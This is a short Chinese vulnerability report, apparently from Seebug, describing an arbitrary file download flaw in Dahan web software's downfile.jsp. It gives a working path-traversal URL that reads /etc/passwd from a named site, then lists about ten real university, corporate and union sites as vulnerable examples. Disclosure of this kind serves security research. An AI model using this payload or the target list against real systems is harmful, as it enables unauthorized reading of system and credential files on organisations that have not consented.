大汉网络任意文件下载漏洞
### 简要描述： 大汉网络任意文件下载 ### 详细说明： 下载漏洞： \vc\vc\columncount\downfile.jsp 演示： http://www.sinoagent.com/vc/vc/columncount/downfile.jsp?savename=a.txt&filename=../../../../../../../../etc/passwd [<img src="https://images.seebug.org/upload/201501/170002005c8558d853b2ee6aebc2bd0074c221f0.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/170002005c8558d853b2ee6aebc2bd0074c221f0.png) ### 漏洞证明： 案例： http://qzlx.jsjzi.edu.cn/vc/vc/columncount/downfile.jsp http://www.cnooc.com.cn/vc/vc/columncount/downfile.jsp http://cbs.cau.edu.cn/vc/vc/columncount/downfile.jsp http://www.hebau.edu.cn/vc/vc/columncount/downfile.jsp http://www.sinotrans.com/vc/vc/columncount/downfile.jsp http://www.auh.cn/vc/vc/columncount/downfile.jsp http://www.throad.cn/vc/vc/columncount/downfile.jsp http://www.sinoagent.com/vc/vc/columncount/downfile.jsp http://www.green-ccia.com/vc/vc/columncount/downfile.jsp http://jjjs.acftu.org/vc/vc/columncount/downfile.jsp
